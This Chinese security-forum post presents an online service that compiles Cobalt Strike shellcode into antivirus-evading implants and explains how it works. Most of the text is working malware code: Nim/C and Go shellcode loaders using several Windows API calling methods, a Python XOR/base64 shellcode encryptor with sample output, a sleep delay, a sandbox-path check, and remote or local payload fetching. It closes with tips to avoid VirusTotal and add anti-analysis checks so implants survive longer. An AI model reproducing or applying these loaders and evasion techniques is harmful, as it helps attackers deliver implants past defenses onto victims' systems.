在使用一些开源的免杀项目时,通常需要将 Cobalt Strike 中的 shellcode 手动复制到源码里,然后手动编译,还需要花一些时间来搭建环境。

团队协作时编译后的 exe 可能存在分发问题,比如:每个人都需要一个环境,下载项目,编码/加密 Shellcode,然后再编译,分发。

这样的过程是可以放在服务器中的,一个通过 Web 界面来实现多人分发。由后端服务器代码实现编码/加密 Shellcode,替换随机函数名称,添加无用(混淆)代码。

故,本项目诞生了。
项目下载地址:https://github.com/yutianqaq/AVEvasionCraftOnline
压缩包默认密码为 yutian(为防止浏览器扫描)

AV Evasion Craft Online

本文将解释 AV Evasion Craft Online 基本原理和处理流程、一些杀软对抗理论知识、沙箱对抗小 tips 以及 Go 基础免杀、三种载入方式的实现。

杀软对抗需要从各个层面进行,一个免杀的植入物只是开始

程序基本处理流程

程序基本处理流程如下图所示:

1、用户发送生成请求

2、Shellcode 转换(编码、加密、压缩)

3、工作目录初始化

  • 生成一个唯一的 UUID 用于命名工作目录
  • 原始模板代码复制到工作目录

4、模板预处理(混淆、填充数据)

  • 生成随机函数名称
  • 填充转换后的 Shellcode
  • 填充用于解密的 Key

5、编译

  • 根据选择的模板使用对应的编译器编译

6、将最终结果打包 zip,返回给用户包括(转换后的 Shellcode、生成的植入物等)

通过这样的处理方式,每一次生成都是重新编译。便捷的生成方式一定程度上避免每次都用同一个植入物

模板的存放/处理

模板的存放/处理结构:

通过目录结构存放和管理模板,可以方便的实现模板的轻松扩展和多样化。在这一结构中,能够有序地存储各类模板,Shellcode 转换方式和 Shellcode 存储位置等。可以简化模板的维护。

服务端部分的模板映射管理

在 template目录创建了相应的模板后,还需要在服务端中的 yaml 配置文件来建立映射,通过 yaml 格式可以轻松管理模板,而不必建立数据库或者存放在 java 源码中。

bypassav:
  templates-directory: /home/kali/AVEvasionCraftOnline/template
  storage-directory: /home/kali/AVEvasionCraftOnline/download
  compilerwork-directory: /home/kali/AVEvasionCraftOnline/compiler
  templates-mapping:
    go_VirtualAlloc:
      loadMethod:
        - EMBEDDED
        - REMOTE
        - LOCAL
      transformation:
        - base64Xor
        - xor
    nim_VirtualAlloc:
      loadMethod:
        - EMBEDDED
        - LOCAL
      transformation:
        - xor
    c_VirtualAlloc:
      loadMethod:
        - EMBEDDED
      transformation:
        - none
  compiler-c: x86_64-w64-mingw32-gcc
  compiler-nim: nim
  compiler-golang: go

通过接口获取模板参数的必要数据

便可以让前端页面动态的获取配置文件

Shellcode 处理部分 - base64 与多字节 xor

仅格式转换的 shellcode (base64、bsae58、单字节xor等不具备对抗静态分析),加密才能对抗一部分静态分析(最好是自定义的)

由于 Cobalt Strike 的 Shellcode 存在时间很久,已经被各大厂商做了特征识别,

一个再好的 Loader,使用了原始的 Cobalt Strike Shellocde 也会被杀,因为你的 Shellcode 会很明显的出现在二进制文件中。如下图所示,仅通过查看静态文件就能得到原始字符。Cobalt Strike Shellcode 同理。

所以对 Shellcode 进行编码、加密是必要的。为什么选用的是 Base64 编码和多字节异或?

单字节异或会被暴力破解,而多字节不会,再加上平台使用了随机生成的 key。在静态层面已经能够绕过一些杀毒软件。

但是判断是否为恶意软件还有一个指标——熵值。越混乱(随机)熵值越高。

根据 https://practicalsecurityanalytics.com/file-entropy/ 中的描述,大部分非恶意软件熵值在 4.8-7.2

例如原始的 CS Shellcode 熵值如下

sigcheck.exe -a .\https_x64.xprocess.bin
        Entropy:        7.226

多字节异或后,熵值变化不大

sigcheck.exe -a .\https_x64.xprocess_encrypted.xor.bin
        Entropy:        7.728

base64编码由字母数字组成,所以经过 base64 编码后,熵值仅 5.965,缺点是会增大 Shellcode 大小。

平台提供两种方式(base64xor、多字节xor),可供使用者权衡

sigcheck.exe -a .\https_x64.xprocess_encrypted.base64xor.bin
        Entropy:        5.965

Shellcode 存储位置

当 Shellcode 内嵌在代码中,程序的熵值会大大增加,如图所示 4.71 是没有 CS Shellcode 状态,而添加了 Shellcode 后,熵值变为了7.719 已经大于了正常文件的熵值。为了解决这点,可以将 Loader 与 Shellcode 分开存放。

平台提供另外两种方式,一种通过读取本地资源来载入 Shellcode,一种通过读取远程文件来获取 Shellcode。

将 Shellcode 与 Loader 分离存放就能减少 Loader 的熵值。

在服务端代码中处理逻辑如下,首先初始化编译工作目录

接着会将模板复制到工作目录中

对模板做预处理动作,随机函数名称填充、转换后的 Shellcode 填充、用于解密的 key 值填充

模板填充完成,进行编译。编译完成的 exe 将会在唯一的工作目录中

接下来将是调用 saveFileZIP 将工作目录中的文件(转换后的 Shellcode、生成的 exe),打包为 zip 压缩包返回给用户。并清理工作环境。

C、Nim

为什么选择了 C、Nim——因为扩展容易,多语言的编译,增一些多样性。通过 nim 直接嵌入 C 代码即可打包,,也能“包”一层 nim 规避一些静态层面查杀。

如图所示,将 C 代码直接复制到 nim 中,可以正常打包以及运行,缺点就是体积会大很多,不过可以通过改变编译参数来缩小体积。

nim c -d:minwg -d:release --app=gui --cpu=amd64 .\HelloEntropy.nim

{.emit: """

#include <windows.h>

unsigned char calc_payload[] = { 0x90, 0x90, 0x90, 0xBA, 0xDD, 0xBE, 0xEF, 0x90 };


unsigned int payload_len = sizeof(calc_payload);

int Ldrx(void) {

    PVOID calcSt;
    HANDLE calcTH;
    DWORD oldProtectCalc = 0;
    calcSt = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    RtlMoveMemory(calcSt, calc_payload, payload_len);
    VirtualProtect(calcSt, payload_len, PAGE_EXECUTE_READ, &oldProtectCalc);
    calcTH = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)calcSt, 0, 0, 0);
    WaitForSingleObject(calcTH, -1);
    return 0;
}

""".}
proc Ldr(): int
    {.importc: "Ldrx", nodecl.}

when isMainModule:
    var result = Ldr()

同样的代码,有了 nim 的“包裹”,也会为逆向分析增加一定难度

Go 免杀

平台自带的杀软对抗方案主要是 Go 语言的,使用 Go 语言来编写恶意软件,有几个优点:相对 C 语言,语法简单,库生态也较为丰富(对于对抗杀软来说,例如 syscall,c语言有的 api go 也有),缺点是生成体积较大。但对抗国内杀软已经足够。

下面是 golang 调用 Shellcode 的几种方式, SyscallN 已经集成在默认模板中,CreateThread 和 EnumThreadWindows 的方式在读完文章后可以自行加入到模板中

SyscallN

这是平台自带模板中的代码片段,加载器通过 syscall 直接系统调用来申请一块内存,使用自实现的 WriteMemory 函数来将 Shellcode 写入到内存中,然后调用 SyscallN 来执行。

func Ldr1(calc []byte) {

    mKernel32, _ := syscall.LoadDLL("kernel32.dll")
    fVirtualAlloc, _ := mKernel32.FindProc("VirtualAlloc")
    calc_len := uintptr(len(calc))
    Ptr1, _, _ := fVirtualAlloc.Call(uintptr(0), calc_len, windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE)
    WriteMemory(calc, Ptr1)
    syscall.SyscallN(Ptr1, 0, 0, 0, 0)
}

CreateThread

除了通过 SyscallN 调用 Shellcode 还可以通过 CreateThread API 来调用 Shellcode,实现如下

func Ldr1(calc []byte) {

    mKernel32, _ := syscall.LoadDLL("kernel32.dll")
    fVirtualAlloc, _ := mKernel32.FindProc("VirtualAlloc")
    fCreateThread, _        := mKernel32.FindProc("CreateThread")
    fWaitForSingleObject, _ := mKernel32.FindProc("WaitForSingleObject")

    calc_len := uintptr(len(calc))
    Ptr1, _, _ := fVirtualAlloc.Call(uintptr(0), calc_len, windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE)
    WriteMemory(calc, Ptr1)
    TtdAddr, _, _ := fCreateThread.Call(0, 0, Ptr1, 0, 0, 0)
    fWaitForSingleObject.Call(TtdAddr, 0xFFFFFFFF)
}

EnumThreadWindows

也可以使用 EnumThreadWindows API 来调用 Shellcode

func Ldr1(calc []byte) {

    mKernel32, _ := syscall.LoadDLL("kernel32.dll")
    mUser32, _ := syscall.LoadDLL("user32.dll")

    fVirtualAlloc, _ := mKernel32.FindProc("VirtualAlloc")
    calc_len := uintptr(len(calc))
    Ptr1, _, _ := fVirtualAlloc.Call(uintptr(0), calc_len, windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE)
    WriteMemory(calc, Ptr1)
    fenumThreadWindows, _ := mUser32.FindProc("EnumThreadWindows")
    fenumThreadWindows.Call(0, Ptr1, 0)
}

有了更多的 API 调用 Shellcode 就可以一定程度上避免被杀软识别为恶意软件。

除了多样化的 API 调用 Shellcode 还需要对Shellcode 进行编码,作为调试阶段,可以使用 Python 来制作 base64+多字节 xor 转换的 Shellcode。代码如下

import os
import sys
import argparse
import random
import string
import base64

def generate_random_string(length):
    characters = string.ascii_letters + string.digits
    random.seed()
    random_string = ''.join(random.choice(characters) for _ in range(length))
    return random_string

def xor_encrypt(plaintext, key):
    ciphertext = bytearray()
    key_length = len(key)
    for i, byte in enumerate(plaintext):
        key_byte = key[i % key_length]
        encrypted_byte = byte ^ key_byte
        ciphertext.append(encrypted_byte)
    return bytes(ciphertext)

def save_to_file(data, filename):
    with open(filename, "wb") as file:
        file.write(data)

def print_hex_array(data):
    print('{ 0x' + ', 0x'.join(hex(x)[2:] for x in data) + ' };')

def main():
    parser = argparse.ArgumentParser(description='XOR encrypt a binary file.')
    parser.add_argument('filename', help='Path to the binary file to be encrypted')

    args = parser.parse_args()
    filename = args.filename

    try:
        with open(filename, "rb") as file:
            plaintext = file.read()
    except FileNotFoundError:
        print(f"Error: File '{filename}' not found.")
        sys.exit(1)

    file_size = os.path.getsize(filename)
    key = generate_random_string(10).encode("utf-8")
    ciphertext = xor_encrypt(plaintext, key)

    output_filename = f"{filename[:-4]}_encrypted.bin"
    save_to_file(ciphertext, output_filename)

    print(f"[*] XOR encrypted: {output_filename}")
    print(f"[*] Key length: {len(key)}")
    print(f"[*] Payload length: {file_size}")
    print(f"[*] Key: {key}")
    print_hex_array(key)
    print(f"[*] Base64 encoded ciphertext: {base64.b64encode(ciphertext).decode()}")

if __name__ == "__main__":
    main()

使用方法,将 Shellcode 作为函数名称传入,会返回转换后的 Shellcode

python .\xor.py .\calc.bin
[*] XOR encrypted: .\calc_encrypted.bin
[*] Key length: 10
[*] Payload length: 276
[*] Key: b'LAny0PUdn4'
{ 0x4c, 0x41, 0x6e, 0x79, 0x30, 0x50, 0x55, 0x64, 0x6e, 0x34 };
[*] Base64 encoded ciphertext: sAntncC4lWRuNA0QLyliAQMsX+YpCeUrUBjeNnZ8xxNOMbsiBSxhgwYLI0j5GGSkwggtPWxVEBGUrWN1TYCMlGIRBCzlZmzKLEV4UYXv7rxMQW4xtZAhAyY1nBHlMSgU3iROfU2RjS94r5wl5QDECW+vfWGcLF/04ACvsD0RVKVW1DmwInp8dF0hV+U5mTY9uxBxLW/kKgDldXgU3iRyfU2RL/I02B1lvnUUADYnaQoUPC9tDRsm+txwFDaR1BQANyN420eNOcuzvjMxilFVZG40TEFuMb3dVGVuNA37X/Jf16qx1cT54zg4ivbA2fPLmQntvRhsUxhktLehG3yLF0YWAV5MGC/w6q+ABw9YL28LAVVQ

一个使用 golang 写的基础免杀模板已经完成,此时还可以加入延迟加载,沙箱对抗等操作

延迟加载

新启动一个 exe 杀软会在短时间内扫描,以识别是否为恶意软件,如果此时我们的程序不进行操作,而是等待一段时间后在调用 Shellcode。这样就可以规避杀软扫描,在被扫描完成后再加载、调用 Shellcode。代码如下

func Sleeeep()  {
    res := 1
    for i := 0; i < 5; i++ {
        number := rand.Intn(900) + 100
        res *= number
    }
    time.Sleep(10 * time.Second)
}

通过生成随机数来实现抖动的延迟加载。

沙箱对抗

用过某沙箱的都知道,它的运行程序会在 c:\随机7个字符组成\xxx.exe 下运行。

知道了这个特点,可以判断当前程序运行在什么地方,来判断是否继续运行。代码如下

func main() {

    args := os.Args[0]
    fmt.Println("当前运行路径:", args)
}

运行结果

PS C:\jw6z6jr> .\demo2.exe
当前运行路径: C:\jw6z6jr\demo2.exe

写一个 if 来判断

func main() {

    args := os.Args[0]
    fmt.Println("当前运行路径:", args)
    if (args[10] == 92 && (args[0] == 99 || args[0] == 67)) {
        os.Exit(0)
}

其中 92 是 / 99 是 C 67 是 c

有一些沙箱会修改文件名后运行,根据此输出,我们可以扩展以下,继续判断名字是否被修改,如果修改了,则退出运行。

至此,实现了内嵌式的 Shellcode 存储方式,我们还可以将 Shellcode 存储在远程服务器或者存在本地,将 Shellcode 分离出来。

Golang - 分离免杀 - 本地分离

Golang 读取文件很简单只需要导入 "io/ioutil",在使用 ReadFile 来读取,就可以实现 Shellcode 不在程序中,而在外部,这样将大大降低被杀的可能性。

content, err := ioutil.ReadFile("{{LOCAL_FILENAME}}")
    if err != nil {
        return
    }

Golang - 分离免杀 - 远程分离

在 Golang 中,还可以使用 "github.com/valyala/fasthttp"库,来请求远程的 Shellcode

封装一个函数,方便复用,代码如下

func fetchShellcode() []byte {

    url := "{{REMOTE_URL}}"

    _, body, _ := fasthttp.Get(nil, url)

    return body
}

在 main 函数中,使用一个变量来接受返回的数据,再传给 Ldr1 函数

func main() {

    args := os.Args[0]
    if (args[10] == 92 && (args[0] == 99 || args[0] == 67)) {
        os.Exit(0)
    }

    Sleeeep()

    ciphertext := fetchShellcode()

    byteData := DecryptData(string(ciphertext))

    Ldr1(byteData)

}

将 CreateThread 调用方式添加到模板中

复制一份 go_VirtualAlloc 重命名为 go_CreateThread,并将目录下的 go_VirtualAlloc.go 也重命名为 go_CreateThread.go ,命名完成目录结构如下

借助 Vscode 做如下替换。

接着改变 yaml 配置文件,加入以下代码

go_CreateThread:
      loadMethod:
        - EMBEDDED
        - REMOTE
        - LOCAL
      transformation:
        - base64Xor
        - xor

Done!

同样的实现 EnumThreadWindows 替换也是如此。

更多 api 调用 shellcode 请参考 https://github.com/xiecat/AlternativeShellcodeExec-Go 感谢该仓库作者付出。

结语

最后的小 tips,通过修改编译参数,增加资源,增加自签名,可以规避一些杀软。(能过目标上的杀软即可,不要上传沙箱、VT)可以活的更久一点。

总结

杀软对抗需要从各个层面进行,一个免杀的植入物只是开始。

更好的对抗杀软可以从以下方面进行:

  • 自定义的编码、加密(低熵的)
  • 不同的 Shellcode 方式
  • 不同的语言实现,基础免杀的本质是 API 调用,更换不常见的 API、不同的调用方式就能过掉一部分。
  • 良好的反沙箱、反分析机制
    • 例如,只会在特定环境下运行(针对目标的环境)
    • 是否加入域、临时文件判断、内存、cpu、电脑型号等
点击收藏 | 1 关注 | 1 打赏
  • 动动手指,沙发就是你的了!
登录 后跟帖